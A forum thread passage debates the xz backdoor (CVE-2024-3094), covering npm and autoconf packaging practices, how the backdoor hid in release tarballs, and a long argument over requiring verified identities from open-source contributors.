          I’m sorry, but the fashionable to sneer at languages are so much worse than this. It’s very common for JavaScript packages to download compiled binaries as part of the build or even at runtime and it’s very common for them to upload bundled and minified code to npm. The culture of “do whatever it takes to make it work with npm i ... without the user having to think about a thing” is very strong there. They use a thousand packaging tools with incompatible lock formats and a thousand ways to irreproducibly build the package source into an intermediate form that then gets uploaded to npm, so every npm i call is a YOLO x1000, for every one of the thousands of transitive dependencies a simple project typically has.

          There’s no polite way to talk about their practices.

          1. 9

            It’s very common for JavaScript packages to download compiled binaries as part of the build or even at runtime

            Not like C, where… checks notes the autoconf tool was able to hide a backdoor by having it only be presnet in a downloaded artifact. And of course Linux distros never involve downloading binaries.

            They use a thousand packaging tools with incompatible lock formats and a thousand ways to irreproducibly build the package source into an intermediate form that then gets uploaded to npm

            Meanwhile the typical Linux distro gets to handle every language’s packaging. Much safer.

            Snark aside: this is kind of making my point for me: you’re so wrapped up in your need to sneer at JavaScript that you never consider whether there’s something you could learn from it. Despite everything you hate about its packaging ecosystem, it works incredibly well! Maybe it’s worth a slightly deeper look to try to figure out how and why something you think is inherently untrustworthy has ended up being trusted and honoring that trust.

            1. 18

              The attack we’re talking about took a great deal of sophistication to hide. Similar attacks on JS infrastructure have historically not taken much sophistication at all; the only reason their impact hasn’t been as great is that at no one’s crazy enough to involve npm in the dependency chain of sshd.

              1. 10

                no one’s crazy enough to involve npm in the dependency chain of sshd.

                Well there goes my April Fools prank.

              2. 1

                no one’s crazy enough to involve npm in the dependency chain

                The fact that you can’t even discuss this without needing to resort to insults kind of makes my point for me.

    23. 4

      Gentoo security advisory: https://security.gentoo.org/glsa/202403-04

      Our current understanding of the backdoor is that is does not affect Gentoo systems, because 1. the backdoor only appears to be included on specific systems and Gentoo does not qualify; 2. the backdoor as it is currently understood targets OpenSSH patched to work with systemd-notify support. Gentoo does not support or include these patches; Analysis is still ongoing, however, and additional vectors may still be identified. For this reason we are still issuing this advisory as if that will be the case.

    24. 4

      For people who are interested, here’s a working mirror of xz git repository: https://git.tukaani.org/?p=xz.git;a=summary (as the GitHub one was removed by GitHub itself).

      Although it seems that the git repository doesn’t contain all parts of the backdoor?

      1. 6

        Although it seems that the git repository doesn’t contain all parts of the backdoor?

        Indeed: At least some parts of the backdoor are only contained within the release tarballs, which is presumably why the website was altered to tell people not to use the automatically generated tarballs on github.

        It was a clever piece of obfuscation - mere inspection of the xz code on github would not reveal the exploit code, because that was in the tarballs. The only thing in the git archive was the code that enabled the exploit, which could be plausibly claimed to be innocuous.

    25. 4

      CVE-2024-3094 happened for a simple reason: distributions patching OpenSSH to support systemd’s readiness notifications.

      No, the CVE happend because some malicious actor gain access to the repo and the release tarballs. This access was used to add malware. When sshd would not have been linked to liblzma this actor would have used an other lib or used xz/lzma in some other way to attack systems. So we might have seen a attack through package managers, kernel modules or even through initramfs.

      Yes we can discuss some problems[0] we see while analyzing this malware, but stop go around and blame other tools just because you don’t like them[1].

      [0] i.e. https://bugzilla.mindrot.org/show_bug.cgi?id=3675 [1] I also don’t like systemd

      1. 2

        Circumstantial evidences suggest that the attack was executed because the change to stop linking liblzma to libsystemd was about to be merged. Causal analysis is fraught but I think it is clearly true that linking libsystemd to sshd was instrumental to the attack.

        1. 2

          The causal chain is fraught. I believe the actor or actors behind this attack decided long ago that the link to libzma via libsystemd was a viable attack vector - one of possibly many. So the work was predicated on that, including targeting the repo, getting access etc. Then when the circumstances changed they had to rush to implement it.

          It’s just like trying to launch a legit software product. You predict a market, try to craft a product to fit it. Sometimes the market doesn’t develop in the way you expect and your product fails.

        2. 2

          Instrumental or not, the point is a (potentially well funded state?) threat actor would find some other vector if this particular vector hadn’t existed. So saying if not for systemd this attack would not have happened is speculation at best and ludicrous at worst.

    26. 4

      This essay is odd in the way it poses “skin in the game” as an one-way deal. FLOSS maintainers deserve all the praise for their work, but if they opt for accepting a patch authored by a complete rando, they must have skin in the game, too.

      Also, the notion that bad actors can be curbed by forcing them to have a traceable public identity sounds to me as childishly naive.

    27. 3

      I’d love to be wrong but I just don’t see anyone actually catching #xz without full time ownership of the project.

      I’ve been wondering if step 1 is simply “identify packages that are succeeding over weakening”, where failing is “non-reviewed commits that are just stamped / GitHub engagement is low / self-nominated etc etc” Finding load bearing weakened projects would be a useful signal.

      Trying to do this under a government organization sounds troublesome. I’d rather it be run something akin to CNCF where major companies are putting money in the pot. Major companies have the technical resource to lean on if need be, people could bungee in and out of the org (like the old digital tour of duty from mikeyd@ in Obama administration).

      1. 6

        Trying to do this under a government organization sounds troublesome. I’d rather it be run something akin to CNCF where major companies are putting money in the pot.

        These same companies are, today, absolutely dependent on such software and only kick in the smallest possible sums by choice. I think legislation to ensure that they at least contribute to the prevention of their own demise is the bare minimum. Ideally this idea would also have wider benefits, obviously.

        1. 1

          Yes, while major vendors pay CNCF’s operating expenses which go to staff and conferences and evangelists, CNCF employs very few software engineers. It’s just too expensive given their limited sponsorship funds.

    28. 3

      I don’t understand the sentiment against the phrase “supply chain” as applied to FOSS. It might be due to me not being a native English speaker, but I don’t feel like it shifts the blame to any particular party at all. What other terms would we use?

      I also don’t really see how the lack of contractual obligations is relevant. Sure, FOSS maintainers don’t owe you anything, so ensuring the safety of the FOSS software your company depends on is on you. But why shouldn’t you also ensure that the licensed proprietary software you’re using is safe? Even if legally speaking you don’t have to do that, you’re still a bit of a fool if you just blindly trust your dependencies just because you’ve licensed them from someone else.

      1. 9

        “Supply chain” implies that FOSS maintainer are “supplier”, where users/companies using that code would be their “customer”. This suggests an asymmetrical relationship, where the customer, in the real world, is the one that pays and is entitled to its supplier working for him. I think this is what OP wants to show when writing that is shifts the blame.

      2. 2

        Sure, FOSS maintainers don’t owe you anything, so ensuring the safety of the FOSS software your company depends on is on you.

        The core idea of Open Source in particular is to hide and obfuscate this important fact. An entire generation of companies have been indoctrinated into the idea that Open Source is not only cheap (it’s free!) but also more secure, because “everyone” has eyes on it and can find bugs. Turns out “everyone” is just a bunch of burned-out overworked maintainers who are doing this from the goodness of their hearts.

    29. 3

      Along with automated security fuzzers and scanners, perhaps we should have a scanner for github/mailing list comments pestering hobby maintainers for releases/reviews/merges and complaining about slow progress 🙃

      1. 1

        (I see my comment could be easy to misunderstand. What I meant was that the scanner would flag the people who do the pestering, not further pester the maintainers … And yes, </joke> and all that, though also maybe not.)

      2. 1

        A lot of Go libraries I’ve used over the years have been dropping into this “unmaintained” state and I frequently find myself scanning repos to get a vibe of how well maintained something is. I was planning on devising some kind of score system for this and applying it to repositories en-masse to see how useful such a thing could be.

    30. 3

      I’m wondering if anyone has started systematically scanning GitHub for other cases where the release tarball does not match the tagged commit…

      1. 7

        I imagine they very often won’t, so you’d gather too much noise. As a first step: they often won’t include .gitignore, since the tarball isn’t a git repo. They’ll often contain uncommitted generated files, like configure — i.e. exactly the kind of thing at the root of this whole issue.

    31. 3

      This post mixes up quite a few things.

      It has always been possible to contribute with a “persona” that sounds real enough and the author acts as if a certain John.Doe at gmail (if they never attended a keysigning party) was in any way more a real person than honeybunny at whatevermail - they just didn’t get it.

      The point about key signing is a good one, I actually don’t remember how the forms looked and if the people who checked my key and passport had kept written proof of my identity (and not just memorizing: oh the guy who introduced himself as “wink” had a passport with the real name “X Y”). But that was not required for many things, maybe being a Debian Developer or Ubuntu Committer as some exceptions.

    32. 3

      Seems that this hack had an extensions system already in place https://gynvael.coldwind.pl/?lang=en&id=782#stage2-ext

    33. 4

      I once found an autoconf/automake tutorial after having been mystified by these tools for most of my programmer life. The tutorial was horribly outdated, barely readable in some outdated docgen tool but reading it did not really enlighten me. It just horrified me and strengthen my resolve never to be in a position where I would need to work with these ‘tools’.

      I guess whoever wrote that thing called victory and harvested pats on the back for the rest of their lives leaving everybody else decades later with a huge mess that’s pretty much impossible to clean up.

    34. 2

      This Bluesky post from security expert Filippo Valsorda adds useful additional information to the ongoing story; I suggest merging it into the ongoing story.

      (Via Hacker News.)

    35. 2

      Re: Anonymity in open source

      Your real name should not be an anonymous id or false name that misrepresents who you are.

      I 100% agree with this — I think it is fine if people use pseudonyms or misrepresent their real names in stuff like online gaming, but somehow I feel like this is not okay in the open source world. If I am a company running code, I don’t want to run some code from a user “pinkkitty31”, rather I want to run code submitted by a “Michael Smith” who has signed a CLA and verified his identity to be held accountable.

      That being said, I don’t want that to be enforced. I don’t want people to have to prove their identities when signing up for GitHub, for example. But I would like to see major software projects adopt this on a voluntary basis, so that we as a community can do our best to reduce the ease of which supply-chain attacks can be performed. The xz attack was caught, thankfully. But this is not the end, it is merely the beginning. Russia and China lost this one, but they have an abundance of cheap labour and can keep doing this all day, and some day we will not catch it, and the implications will be grave. So I would rather have pinkkitty31 give up his legal name than live in a world where we allow state-actors to perform these kinds of attacks.

      1. 6

        There was recently a story about someone interacting with a “company” where everyone on the video call was a virtual person generated by what’s nowadays called AI. In other words, we can assume that in the short to medium future faking your identity online, even via a video call, is as easy as doing it by email/text.

        And if you’re motivated enough, you can hire an actor to portray the person you want to present yourself as. Once that person has been introduced IRL, signed papers, gotten the hardware signing key etc, they just hand it all over to the “bad guys” and disappear forever.

        MORE IMPORTANTLY

        why should FLOSS maintainers and project leads shoulder the responsibility to vet contributors for honesty and integrity??? The software they are offering for free always has a license file disclaiming all responsibility. If you choose to base your company on such software, you also assume the risk. You can mitigate this risk, by reading the source yourself, hiring someone to do so, funding a sort of Underwriters Laboratories-style outfit, etc etc. What you cannot do is force people to do all this for you, for free.

        There seems to be some weird sort of bad conscience among some people withing FLOSS. “We need to step up, we need to be grownups in the room, we need to take responsibility”. No, no you don’t. Seek to get more funding for FOSS. Ensure that existing and future bad workflows are corrected. But don’t take the security of multinational corporations on your shoulders.

        1. 3

          Seek to get more funding for FOSS.

          I agree with this! We’re in a weird spot of where the world’s infrastructure is built on top of open-source projects with little time and funding.

          we can assume that in the short to medium future faking your identity online, even via a video call, is as easy as doing it by email/text

          Agreed! AI doesn’t exactly help here. It can be made harder (by requiring verification) but ultimately, it is a force multiplier.

          why should FLOSS maintainers and project leads shoulder the responsibility to vet contributors for honesty and integrity?

          They don’t have to, but I am assuming that some projects will have an interest in making sure their code is somewhat protected from such bad actors in the future. But you are right — FLOSS maintainers don’t have to do anything, the software is provided as-is, without warranty.

      2. 4

        In the US, there is no such thing as a legal name. (This is an authoritatively cited law review article.) Normatively, there shouldn’t be. My family, friends, colleagues, and strangers address me in many different ways as appropriate for the different situations, all of which are more “real” than what some office has decided it wants to call me. There’s strong evidence for the value of this in studies that show using chosen names produces better outcomes than imposing names (recent example, or deeper understanding).

        1. 3

          I don’t quite know how to make sense of the document you have linked. It seems to address some gripes that trans people have with legal names. It does not seem very relevant to my point, and does not dispute the existence of legal names (as is on your social security/birth certificate/driver’s license/passport, which are mentioned in the document, see page 135).

          Whatever you call it, by Legal Name I am referring to the name that is on your identity documents. The US does have identity documents. It does not even have to be a name, you could substitute s/legal name/legal identifier/. Just something that uniquely identifies a person. It could be an Ed25519 key for all I care, as long as there is a regulated registry, such that submissions to open-source software is linked to a person rather than a pseudonym. I suppose in the US you could use a social security number for this purpose, though I don’t understand the identity-theft implications of that.

          I’m also not saying that people cannot keep using nicknames or pseudonyms — they are useful in communication. Just that it seems quite risky to have an entire civilization build on top of software that is written by people anonymously, it seems like a big attack vector.

          1. 4

            I didn’t say people had zero legal names, I said people have many. The point of the law article is that there is no unified definition of a legal name in the US and there is no restriction to a single legal name. I personally have valid US identity documents with different names on them. As in the legal article’s examples, some of them are due to technical limitations, some are due to people having different names in different contexts, some of them are mistakes, some are changes over time, some are federalism, etc. I think trans people come up many times in the article because they prompt many examples that are unfamiliar enough to be recognized, where, say, the familiar complexity of marital name changes vanishes into the background.

            As a political belief, I do not consider any name a state or business assigns me to be more real than the names I choose to use. As the book explains, imposing a single simplification on civilization’s historical complexity often fails even at its intended purpose.

            1. 2

              I understand what you are saying, but I still disagree with your point. I interpret the fact that you have multiple valid US ID documents with different names on them not as evidence of the fact that you can have multiple legal names, but rather as evidence of the fact that the system is broken. I admit that this might be my German/European perspective talking, because this stuff is very regulated here: you, at any point in time, only have one legal name, which is on your birth certificate, ID cards, passports. Any place that matters (banks) will verify your legal name with your ID card. If you manage to have valid documents under differing names, this is either fraud or an error. In fact, it is a felony here to put a false name when signing up for something (even Facebook, although in practice it is not widely enforced, only banks will enforce it, because they are liable if they don’t). I don’t think it is fair to draw conclusions from the brokenness of the US system to discredit legal names as not something approximating “useful identifiers”.

              Besides: Even if a person can have multiple legal names, this system will still work. If there is some CLA that you have signed and it was verified against your ID card, and it calls you “J. R. Porter” but your legal name is “Jordan Ryan Porter”, then it is still close enough to be a match. Even if you change your name at some point — I know people who have done this, for various reasons — there is a paper tail of this happening. Both your previous legal name and your new legal name can be resolved to your identity.

              Obviously, there will be edge cases. We will never have anything perfect, unless we get a copy of your biological identifiers (DNA, iris). But we don’t need perfection, all we need is to make it harder for bad actors to infiltrate open-source, and if they do, it gives us some ability to hold them accountable. Accountability is practically non-existent today. We don’t know who “Jia Tan” is, and maybe never will, just because there is no system in place that verifies identities.

              1. 3

                Thanks, I think you’ve given a great description of the fundamental differences of political opinion here.

                1. 2

                  You are welcome, though I did not realize that this was a political issue.

                  But, to my original point: would you not agree that it would be advantageous if core infrastructure (openssl, core libraries) had some form of an audit trail that would allow us to link contributions to people’s identities in an effort to thwart supply-chain attacks that we will inevitably see more of in the future (even if this was not based on legal names)? I feel that long-term this is the only way to protect against state actors with a lot of manpower, such as China, Russia and North Korea.

                  1. 4

                    I don’t think the downsides are worth it, no. (related)

                  2. 4

                    You are welcome, though I did not realize that this was a political issue.

                    I don’t mean this in any inflammatory way, but your particular stance here aligns here with authoritarianism (in an overall sense) — some authority gets to designate your identity in a way you cannot negotiate or opt out of.

                    This rankles many folks who have a range of concerns over such things, from the more ‘crackpot’ types who think that a government trialling digital ID (in the global (non-EU) West, in the year of our lord 2024) must be wanting to microchip everyone and deny you the ability to buy food unless you submit to them (none of whom have ever seen how Europe does it [1]), to those who have very good concerns — two examples that come to mind immediately are folks working on deniable cryptography who operate in less secure countries, and trans people.

                    At any rate, talking about names and identity is an issue of incredible political heat and importance, and many, many words have been spent on it in the past decades.

                    [1] at the same time, European countries’ implementations usually have some very good legal safeguards involved and tend to be co-ordinated closely by the government acting under those laws, whereas implementations elsewhere are often, uh, lacking, implemented often by a range of independent companies all trying to undercut each other, with a much shakier legal backdrop.

                    1. 1

                      your particular stance here aligns here with authoritarianism

                      It is always funny to me when authoritarianism is mentioned in threads. I feel like you are attacking me because you disagree with me, and I don’t feel that this is nice. But I will take your criticism seriously and address it in the best way I can.

                      I believe you either misunderstand my idea, or you misunderstand authoritarianism. Feel free to clarify what you mean to avoid confusion. Authoritarianism means the enforcement or advocacy of strict obedience to authority at the expense of personal freedom.

                      What I am talking about is an idea that open-source projects can adopt, if they want to. Being opt-in, it is by definition not authoritarian.

                      The idea is to verify the identity of the people that contribute. This should not be inflammatory in any way. It is standard practice to require an ID document to participate in society. This is neither novel nor unusual. For example:

                      • getting a job
                      • registering a vehicle
                      • getting a driver’s license
                      • opening up a bank account

                      For any identification to work, you need to have a trusted authority. By design, you cannot opt out or negotiate, then you would be able to change your identity (which undermines the whole thing, because then bad actors can do it again). If you consider it authoritarian to require identification, then you are saying that the entirety of the western hemisphere is authoritarian.

                      I also mentioned that folks who simply do not have an ID don’t need to do this verification, any system needs to have flexibility built-in to allow for the realities of life. This means that nobody is excluded who lives in a country that does not or will not issue an ID. Therefore, this system is not strict, states cannot withhold ID to prevent you from contributing. Therefore, not authoritarian. Projects need to weigh their needs for security, their time for proper code review and the need of the public to participate. Life is a tradeoff.

                      two examples that come to mind immediately are folks working on deniable cryptography who operate in less secure countries, and trans people.

                      Since the knowledge of the identity would be kept by the open-source project maintainers, I see no issue with anyone submitting to this. If you don’t want to verify, then you do not need to contribute to the particular project that enforces it. Err on the side of caution. If there is a legitimate reason not to verify and share PII, then it is always possible to talk to the maintainers and skip verification, and have your contributions be subject to more scrutiny. This procedure is not designed to keep people out. It is just designed to safeguard open-source projects.

                      At any rate, talking about names and identity is an issue of incredible political heat and importance, and many, many words have been spent on it in the past decades.

                      It is new to me that names are something political. I feel a bit uneasy now, it feels to me like there is some amount of bias here on this topic, and it should not be. My comment, which is a reasonable idea and something that a majority of financial services do, is treated as if this was a radical idea designed to oppress. My advice would be to reflect on your opinions, or perhaps suggest an alternative way to keep open-source safe. Perhaps there are better ways of doing this?

                      1. 4

                        I feel like you are attacking me because you disagree with me, and I don’t feel that this is nice.

                        I have tried my best to avoid this (opening with “I don’t mean this in any inflammatory way”, giving examples from “both sides” of the political spectrum, etc.), and it would appear I have failed; that’s my bad!

                        What I am talking about is an idea that open-source projects can adopt, if they want to. Being opt-in, it is by definition not authoritarian.

                        I think this is a little naïve. If an idea of a particular political thrust takes off and becomes widely adopted, then there is a de facto (and perhaps in future de jure) implementation of a particular way of thinking. Facebook’s “Real Name” policy was a step in that direction, and carries many of the issues that your suggestion does.

                        If you consider it authoritarian to require identification, then you are saying that the entirety of the western hemisphere is authoritarian.

                        In so many cases it is, when it comes to marginalised peoples. This is not news. Are you seriously saying you’re unaware that folks in the western hemisphere struggle with getting a job, opening a bank account, getting a driver’s license, voting, getting medical attention, etc. etc., solely due to ID issues? These issues are rampant.

                        This means that nobody is excluded who lives in a country that does not or will not issue an ID. Therefore, this system is not strict, states cannot withhold ID to prevent you from contributing. Therefore, not authoritarian.

                        Let me zero in on this. Let’s say your country does not allow name changes in the case of trans people. (Or perhaps you can change your name, but you’re not allowed to change your surname to have the masculine or feminine ending as appropriate, and therefore your legal name still contradicts your identity.)

                        But your country still issues ID, so your policy mandates they use it. Now your policy is enforcing a particular country’s political ideas on identity! This is extraordinary.

                        It is new to me that names are something political.

                        My advice would be to do some reading of your own if this is new to you; I meant it when I said decades!

                        The heat here has increased enough that I’m bowing out here, but I wish you all the best.

                        1. 1

                          If an idea of a particular political thrust takes off and becomes widely adopted, then there is a de facto (and perhaps in future de jure) implementation of a particular way of thinking. Facebook’s “Real Name” policy was a step in that direction, and carries many of the issues that your suggestion does.

                          I understand that people want to use Facebook pseudonymously, even here in Germany we have a court decision that allows for this. However, the things you post on Facebook don’t power every single computer system in the world. The implications are not the same, I don’t think it is a fair comparison. There is no fundamental reason for Facebook to know your true identity (although, Facebook does have a problem with criminal activity going on).

                          In so many cases it is, when it comes to marginalised peoples. This is not news. Are you seriously saying you’re unaware that folks in the western hemisphere struggle with getting a job, opening a bank account, getting a driver’s license, voting, getting medical attention, etc. etc., solely due to ID issues? These issues are rampant.

                          I think I would need to see some evidence for that to believe it. It might also be a US thing. I can tell you that here in Europe, I have yet to hear about a single case of someone having issues with their ID. I can tell you many cases of people struggling with bureaucracy, but that is an entirely different issue (understaffed and inefficient governmental agencies).

                          Let me zero in on this. Let’s say your country does not allow name changes in the case of trans people. (Or perhaps you can change your name, but you’re not allowed to change your surname to have the masculine or feminine ending as appropriate, and therefore your legal name still contradicts your identity.)

                          But your country still issues ID, so your policy mandates they use it. Now your policy is enforcing a particular country’s political ideas on identity! This is extraordinary.

                          This is where you are wrong! This scheme does not enforce any political ideas. The identity is used for verification purposes, and for nothing else. I’ll give you an example:

                          1. Let’s say you are “Peter Smith”, but you feel more female and therefore go by “Katherine”, or “kitty69” online. You have not or cannot change your legal name to reflect this.
                          2. You want to contribute to OpenSSL, so you verify (using your governmental ID) and sign the CLA. Since your legal name is “Peter Smith”, that is the name you verify as. This verification is only between you and a maintainer, and the signed CLA with your real name goes into a safe.
                          3. After the verification, you contribute as “kitty69”. Your true identity (“Peter Smith”) is protected and not revealed to anyone else. The only time where that true identity is looked at is when there is evidence of you contributing harmful code.

                          The heat here has increased enough that I’m bowing out here, but I wish you all the best.

                          I’ve toned it down a bit. While we may not agree, it is a useful discourse. I hope I did my best to try and show you how this system could work and why it should not be an issue.

                  3. 3

                    How does keeping a “real ID” on file defend against a state security agency that can trivially mint new IDs for their agents?

                    1. 1

                      Counter-question: How does using TLS certificates defend against attacks, when a state security agency can trivially mint new certificates and man-in-the middle connections?

                      We can never achieve perfect security. All we can do is make it harder, and more expensive. And requiring identification is certainly a higher burden than just registering an account on GitHub, which takes 10 seconds.

                      1. 3

                        Good grief, you are the one that proposed a specific defence against a specific attack. You should at least be able to explain how your proposal is effective without diverting on to a different topic, or dragging the goalposts over to vague generalities.

                        1. 1

                          I believe that I gave a useful explainer, but I can try again:

                          1. There are various kinds of potential threat actors, not all of them have the ability to mint ID cards. For example, consider a ransomware group. They likely do not have the resources to do it. This scheme would keep them out.
                          2. Defending against nation-states is extremely difficult. They might be able to create valid IDs for their own countries. However, taking the cost of performing this attack from zero (a GitHub account) to a higher cost (needing to mint an ID) makes it harder to perform. It would also give away the nationalities of the attackers, which is data that could be useful to us.
                          3. This is not the ultimate defense. Secure systems consist of multiple layers. This, combined with thorough code review allows us to raise the bar of performing these attacks.

                          I’m not tied to this scheme, but I feel that in practise it has the best cost-reward tradeoff. If you have a better idea for how to do this, I would love to hear it!

                          1. 2

                            Can you explain how a CLA would keep a ransomware group out?

                            It would also give away the nationalities of the attackers

                            You are being ridiculously naïve.

                            You are also failing to take into account the cost of your scheme in terms of wasted maintainer time and lost contributions.

                            1. 1

                              Can you explain how a CLA would keep a ransomware group out?

                              Hey Tony, what I meant by that is that ransomware groups likely don’t have the resources or access to mint new identities, such that they would have to use their real identities. Which, if a group is based in North Korea, could give away some clues. Additionally, it would allow bad actors to be marked and prevent them from participating in other projects in the future. I feel like I have explained that before, I hope you can see how that makes sense. It is not a perfect defense, it is a layer on top of the processes we have already (code review, fuzzing, etc). It is a better situation than we are in now, where a single person can create GitHub accounts all day and create fake personas. Jia Tan could already have other personas committing code to the Linux kernel, curl and other foundational projects, for all we know. Do you see how identities could make this significantly harder (but not impossible)?

                              You are being ridiculously naïve.

                              Ouch, there is a nicer way of saying that. In general, for a productive conversation it is important not to fling (perceived) insults at other people. A better way of phrasing your feelings here would be to say: I am afraid that your threat model of ransomware groups is too simplistic, I feel that you underestimate their abilities and links to nation-states. That would be a much better way of expressing what you think without coming across (even if unintentionally) as hurtful. You should always use “I”-expressions rather than “You”-expressions to avoid this.

                              You are also failing to take into account the cost of your scheme in terms of wasted maintainer time and lost contributions.

                              This system is unlikely to be implemented due to the burden it places on maintainers and due it driving away possible contributions. I acknowledge that.

                              My comments are more me thinking loudly on something we could possibly do, because I don’t want to live in a world that is so easily thwarted by bad actors. And to be honest I’m a bit frustrated because I feel like multiple people in this thread are trying to tear my idea down needlessly, rather than trying to suggest better options.

                              In your opinion, what do you think should core-infrastructure open-source projects do to protect themselves from threat actors?

                              1. 2

                                My comments are more me thinking loudly on something we could possibly do, because I don’t want to live in a world that is so easily thwarted by bad actors.

                                The only reason this actor/group/whatever went through the considerable effort to craft this backdoor and delivery method is that up to 77% of software used in corporate environments is open source (source). If there was a blanket ban on FLOSS in companies, this would not be profitable to do. So you’d root some hobbyist machines, who cares?

                                Now, I’m not sure what you mean when you say “we”. Maybe you’re working for a company that relies on FLOSS. Fine. Then that company or an association of companies should take responsibility and fund mitigation efforts.

                                As noted by Adriane:

                                when we take software from the commons, we are like raccoons digging through a dumpster to find something useful. There is no “supply chain” in reality, but there is an effort by corporations which consume software from the commons to pretend there is one in order to shift the obligations related to ingesting third-party code away from themselves and to the original authors and maintainers of the code they are using.

                                Don’t be gaslit into thinking there’s a “FLOSS supply chain”, nor that securing that “chain” is the responsibility of the FLOSS community.

                  4. 3

                    Took me a little sleeping on it, but I think Worse is Better gets at the heart of the disagreement on this idea. You’re advocating for a maximally effective system to impose on the chaos, and I’m trying to say there’s irreducible complexity in the problem space and a single system would do more harm than good.

                    There’s the classic Falsehoods Programmers Believe About Names. I’ve shared this author’s experience of being in a country that doesn’t use the latin alphabet and having a name contains phonemes or vowel patterns that the locally popular languages don’t. The resulting mistakes are charming right up until the force of law imposes grave, irreconcilable inconsistencies. I’ve put together a few databases so I know to reach for Unicode, to model one-to-many alternate representations, to use bitemporality and attestation, to write training manuals for the frontline bureaucrats. But I’ve put together so many databases and business processes that I don’t think it’s possible to capture the complexity of human names, let alone human identity, let alone at a reasonable cost, let alone without allowing the state abuses that have resulted from every one of these systems previously attempted.

                    To put it another way: you sketch out an identity standard to increase the cost of attacks but the attackers most likely responsible for the xz backdoor and the specific attackers you list are the entities most able to afford those costs and in the best position to subvert such a system. My criticism here comes down to this system being fundamentally ineffective and inhumane. As a programmer I’m vulnerable to the siren call of simple, elegant systems, I want better to be better, but this plan has crashed into the rocks before it sets sail.

                    1. 1

                      Hey Peter, I will summarize my stances on the points you’ve raised:

                      • I do think that, given what I know, this system is the best I can come up with. I also think it is quite unlikely that it is implemented. I disagree with the idea that it does any harm at all, the only way it would do so is if it were inflexible, keeping people out that simply do not have identification. You can never build a system that is perfect, therefore it needs to have some flexibility built-in, and this one does.
                      • The issues raised around names and alphabets all assume that the legal names are stored in any kind of database, which is not the case. As long as someone is capable of writing their name on a piece of paper (a CLA), it will work. If they can’t, the system is flexible enough that we can skip verification for that person, this is an edge case that is so rare that it is unlikely that any one of us would ever see it during our lifetime. Therefore, all of those concerns are irrelevant.
                      • More powerful attackers have more resources, this is true. But even just raising the cost associated with an attack is a net win. By your argumentation, we should have stayed with 52-bit cryptography, because state actors probably have the resources to crack higher-bit cryptography. But we know that, even if algorithms might have attacks on them we don’t know about (or cannot do yet, like post-quantum crypto), we should strive to make it as difficult as possible to perform such attacks. This idea does that, by making it more difficult to forge an identity. We will never have truly unbreakable cryptography, we just have some that are too costly to crack with our current technologies and energy supply. We can never have a fully secure system for open-source, but we can think about adding some layers to it that make it more costly to attack.
                      • My biggest concern is that software is fundamentally built on trust. There is a popular saying that goes “trust, but verify”. This idea is that verification part. I think it is very risky to build software the way we do right now, where identities can easily be spoofed and we do nothing to address that.

                      I think I have laid out my arguments in a fairly straightforward manner, I hope they make sense, even if you don’t agree with them. I think it is fair to say that we agree to disagree. The beauty of a pluralist society is that we can all hold differing beliefs. Often times, there is no single perfect answer to a problem (not yet, or we don’t know enough that we can identify it as such even if there is). All I hope is that we will not see successful infiltration attacks like these, and even more so I hope that they do not lead to the loss of human lives. Software is everywhere, we are more vulnerable than we are aware of.

              2. 3

                I have multiple distinct legal names in my different countries of citizenship, one of them indeed being an EU member state. (They’re not even related forms of each other, not in given or last names.) What is my unique identity?

                Real, human systems don’t work this way. Humanity is many ways about the lack of machine-like processing of rules with a precise system of identity and recognition that admits no exceptions. (Jean-Luc Picard: “there can be no justice so long as laws are absolute.”) Names are neither singular nor static.

                1. 3

                  My choice of the word unique was perhaps not quite wise. I meant it in the sense of “uniquely identify”. But even that is not really what I wanted to say. More like, “given your nationality and name, we roughly know who your are, or at least we know enough to be able to sue you”. If people were born with UUIDs, we should use those. Sadly, that is not the case.

                  Indeed, multiple countries might have a different idea of what your legal name is. Every country is it’s own authority in determining a person’s legal name in their system. As pushcx has pointed out, in some cases even a single country might have different ideas of what your legal name is.

                  In your case, all of your identifiers are valid. If you have a French passport with the name of “Loïc”, then (France, Loïc) is a valid identifier for you. It is enough information to bring forth a lawsuit in the case you do something illegal. Such is the case for the other passports you hold.

                  My phrasing was perhaps not clear or incorrect there, but I think that this is not as complicated as you make it sound. I don’t quite understand why it is that we need to get hung up on talking about names, when my point was merely that we should have an audit trail (could be linked to anything, like a social security number, or whatever). I did not want to veer into politics and defend names, they are merely the most common identifier for people in use.

                  1. 1

                    Understood! I think we got hung up on talking about names when the primary and repeated example of an identity given was, well, names.

                    I do continue to disagree and contest that trying to tie contributions to a “real”, verifiable identity, in any way, is a clear net negative.

                    1. 2

                      Thank you! I don’t like the fact that everyone got so hung up on names, rather than discussing the idea itself. 😄

                      Why would you consider it to be a clear net negative? I am quite curious.

          2. 2

            Just something that uniquely identifies a person.

            Haha oh dear my sweet summer child. https://www.kalzumeus.com/2010/06/17/falsehoods-programmers-believe-about-names/

            Just that it seems quite risky to have an entire civilization build on top of software that is written by people anonymously, it seems like a big attack vector.

            Most open source is pseudonymous, identifying contributors by their usernames or email addresses. Anonymity (actual lack of name) is very rare.

            1. 1

              Most open source is pseudonymous

              You are correct, I misspoke. s/anonymous/pseudonymous!

              Haha oh dear my sweet summer child.

              Thank you for posting that, it is a great article. I am aware of it, it was posted here some years ago I believe. 😄

              I should perhaps clarify what I mean, because I don’t think anything discussed in this article is an issue for the scheme I am proposing. What I am thinking is that, for a given open-source project (let’s take openssl for example), anyone who wants to contribute has to sign a CLA (on paper), go on a short video call showing his/her signed CLA (with his/her handwritten name on it) and show an ID document to match the hand-written name to the one on the ID. Then the CLA is snail-mailed in to the developers, which keep it in a safe. After this process, contributions from this person are accepted. This does not require much from names, doesn’t even require that they are mapped into Unicode, or that you can parse it in any way, just visually compare.

              If you live in a country that doesn’t have IDs, or doesn’t use names at all, well then you just don’t do this step. This encompasses so few people that we can just not do the verification for those people. These systems can never be fully rigid; they have to allow for some flexibility. The purpose of this is not gatekeeping.

              In the event of a compromise, the true identity of the actor is known to the maintainers of the project. That is the point of this, so that when we detect something, at least we know whom to sue.

              Obviously this system is not perfect: ID cards can be forged, there could be human errors in comparing them, people might live outside of our jurisdiction. But it is not designed to be perfect, it is only designed to make it more difficult for state-actors. Today, it is too easy for state-actors to crate fake identities and start contributing to projects, and us falling victim to ever more sophisticated attacks. The one on xz was spotted, thankfully. But someone really motivated could do a lot better, such as introducing hard-to-trigger memory unsafety issues in C/C++ codebases that can be triggered to cause remote-code-execution. Yes, we do have some fuzzing infrastructure, and we are doing great things to catch these, but there are ways to thwart this as well (as we have seen in xz, some parts of the codebase were simply disabled).

